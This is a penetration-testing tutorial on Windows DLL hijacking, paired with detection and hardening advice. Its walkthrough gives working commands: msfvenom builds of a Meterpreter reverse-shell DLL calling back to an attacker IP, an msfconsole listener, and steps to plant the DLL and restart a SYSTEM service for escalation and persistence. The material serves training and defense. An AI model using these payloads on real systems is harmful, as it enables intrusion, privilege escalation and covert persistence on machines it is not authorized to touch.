Introduction / Overview
Disclaimer: This article is written for educational purposes and for authorized security testing only. Run these techniques exclusively against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
DLL hijacking is one of the most reliable and durable techniques in the Windows privilege-escalation toolkit. When a privileged process loads a library by name rather than by absolute path, an attacker who can write to an earlier location in the DLL search order can substitute a malicious DLL and execute code in that process's security context. The same primitive doubles as a stealthy persistence mechanism: drop a malicious DLL next to a binary that runs at logon or as a service, and it executes every time.
In this article you'll learn how the Windows loader resolves DLLs, how to enumerate hijackable targets with Process Monitor, what a phantom DLL is, how to generate a payload with msfvenom, and — equally important — how a defender detects and prevents all of it.
How It Works / Background
When a process calls LoadLibrary("foo.dll") (or links against an import without a full path), the loader walks a predictable list of directories. With safe DLL search mode enabled (the default since Windows XP SP2, via HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1), the order is:
- The directory the application was loaded from
- The system directory (
C:\Windows\System32) - The 16-bit system directory
- The Windows directory (
C:\Windows) - The current working directory (CWD)
- The directories listed in the
PATHenvironment variable
Three weaknesses fall out of this list:
- Writable application directory. If the privileged EXE lives in a folder where a low-privilege user can write (a common mistake for third-party software installed outside
Program Files), droppingfoo.dllthere wins. - Phantom DLL. A program tries to load a DLL that does not exist anywhere on the system (often an optional dependency). The loader fails gracefully, but if you place that named DLL anywhere earlier in the order, your code loads. These are the cleanest targets because you overwrite nothing.
- Writable PATH directory. If a directory on the system
PATHis user-writable, a phantom DLL resolved via PATH executes in any process that searches it.
DLLs declared in the KnownDLLs registry key (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs) are exempt — they always load from System32 and cannot be hijacked. This maps to MITRE ATT&CK T1574.001 (Hijack Execution Flow: DLL Search Order Hijacking).
Prerequisites / Lab Setup
- A Windows 10/11 VM you control (snapshot it first).
- Sysinternals Process Monitor (
procmon.exe). - A Kali/Linux box with the Metasploit framework for
msfvenomandmsfconsole. - A target application installed to a non-standard, user-writable directory, or a service running as
SYSTEM. Vulnerable software for practice includes historical cases like CVE-2020-1599-adjacent issues; for a controlled lab, simply install any portable app toC:\Apps\and grant theUsersgroup write access.
Attack Walkthrough / PoC
Step 1 — Find hijackable DLL loads with Process Monitor
Launch Procmon and apply filters to surface only the interesting events. Configure these filters via the GUI (Filter → Filter…):
ResultisNAME NOT FOUNDPathends with.dllOperationisCreateFile
NAME NOT FOUND on a .dll CreateFile is the signature of a phantom DLL or a missed search-order location. Note the process doing the load and the directory it probed. The gold-standard finding is a privileged process probing a user-writable directory for a DLL that does not exist.
Step 2 — Confirm permissions on the target directory
Verify you can actually write to the candidate directory and check the integrity level the target runs at.
# Inspect the ACL of the application directory
icacls "C:\Apps\VulnApp"
# Look for (M)odify or (W)rite for BUILTIN\Users or Authenticated Users
# e.g. BUILTIN\Users:(OI)(CI)(M)
# Confirm the target service's account
Get-CimInstance Win32_Service |
Where-Object { $_.PathName -like "*VulnApp*" } |
Select-Object Name, StartName, PathName
If StartName is LocalSystem and Users have (M) on the directory, you have a clean privilege-escalation path.
Step 3 — Identify the exported functions you must satisfy
A real hijack often requires your DLL to export the same functions the application imports, or the process crashes before your payload runs. Inspect the legitimate DLL (or the import) to mirror its exports. For phantom DLLs there is frequently no requirement at all — code in DllMain runs on load.
Step 4 — Build the malicious DLL with msfvenom
Generate a reverse-shell DLL. The payload executes when the loader calls DllMain with DLL_PROCESS_ATTACH.
# 64-bit reverse TCP DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.7 LPORT=4444 \
-f dll -o foo.dll
# 32-bit variant if the target process is x86
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.7 LPORT=4444 \
-f dll -o foo.dll
Architecture must match the target process; a 64-bit DLL will not load into a 32-bit process and vice versa. Name the file exactly what the loader is searching for (the NAME NOT FOUND path from Step 1).
Start a listener on the attacker box:
msfconsole -q -x "use exploit/multi/handler; \
set PAYLOAD windows/x64/meterpreter/reverse_tcp; \
set LHOST 10.10.14.7; set LPORT 4444; run"
Step 5 — Plant the DLL and trigger the load
Copy the DLL into the hijackable directory and trigger execution by restarting the service (privilege escalation) or by waiting for the next logon/launch (persistence).
# Plant the phantom/hijack DLL
Copy-Item .\foo.dll "C:\Apps\VulnApp\foo.dll"
# Trigger: restart the service if you have rights, otherwise reboot/relogon
Restart-Service -Name "VulnAppSvc" -ErrorAction SilentlyContinue
When the service starts as SYSTEM, the loader resolves foo.dll from the application directory, DllMain fires, and your Meterpreter session lands with NT AUTHORITY\SYSTEM. Because the DLL persists on disk, every subsequent service start re-executes it — this is the persistence property of the technique.
For a proxy-style hijack that keeps the application working, your DLL should forward legitimate exports to the real library (a "proxy DLL") so functionality is preserved and the user notices nothing.
Attack Flow Diagram

Text summary: a low-privileged user uses Process Monitor to find a missing DLL in a writable directory, confirms ACLs, plants an msfvenom-built DLL, and the privileged process loads it on start — yielding SYSTEM and persistence.
Detection & Defense (Blue Team)
DLL hijacking is preventable with disciplined configuration and observable with the right telemetry.
Eliminate writable load paths
- Install all software under
Program Files/Program Files (x86), which only admins can write to. - Audit non-standard application directories and
PATHentries for weak ACLs:
# Flag writable directories on the system PATH
$env:Path -split ';' | ForEach-Object {
if (Test-Path $_) {
icacls $_ 2>$null | Select-String "Users.*\(M\)|Authenticated Users.*\(M\)"
}
}
Harden the loader
- Keep
SafeDllSearchMode = 1. - For sensitive applications, developers should call
SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32)and load with absolute paths orLOAD_LIBRARY_SEARCH_*flags. The CWD can be removed from the search path withSetDllDirectory(""). - Enable Process Mitigation policies via WDAC /
Set-ProcessMitigationto block remote and non-Microsoft-signed images where appropriate.
Detect at runtime
- Deploy Sysmon and alert on
Event ID 7(Image Loaded) where an unsigned or non-Microsoft DLL loads from an unusual path, especially from user-writable directories or from a service's own folder. - Use WDAC or AppLocker in enforced mode to allow only signed, approved DLLs — AppLocker DLL rules are off by default and must be explicitly enabled.
- Hunt with EDR for module loads from
\Users\,\Temp\, or recently created DLLs adjacent to service binaries.
A representative Sysmon config snippet:
<RuleGroup name="DllHijack" groupRelation="or">
<ImageLoad onmatch="include">
<Signed condition="is">false</Signed>
<ImageLoaded condition="contains">\Apps\</ImageLoaded>
</ImageLoad>
</RuleGroup>
Related reading: see Windows service misconfigurations for unquoted-path and weak-permission service abuse, Unquoted Service Path attacks for a sibling search-order bug, and AppLocker bypass techniques for why allow-listing must be enforced for DLLs too.
Conclusion
DLL hijacking thrives on two mistakes: software installed in writable locations and applications that load libraries by name. The attacker's loop is short — enumerate with Process Monitor, confirm ACLs, build with msfvenom, plant, and trigger — and the payload provides both escalation and persistence in one move. Phantom DLLs are the cleanest variant because nothing legitimate is overwritten. For defenders, the fix is equally clear: lock down install directories and PATH, harden the loader API, and monitor Image Loaded events with Sysmon plus a DLL allow-listing policy.
References
- MITRE ATT&CK — T1574.001 Hijack Execution Flow: DLL Search Order Hijacking: https://attack.mitre.org/techniques/T1574/001/
- Microsoft — Dynamic-Link Library Search Order: https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order
- Microsoft — Dynamic-Link Library Security: https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security
- Sysinternals Process Monitor: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
- HackTricks — DLL Hijacking: https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking
- Sysinternals Sysmon: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon



Comments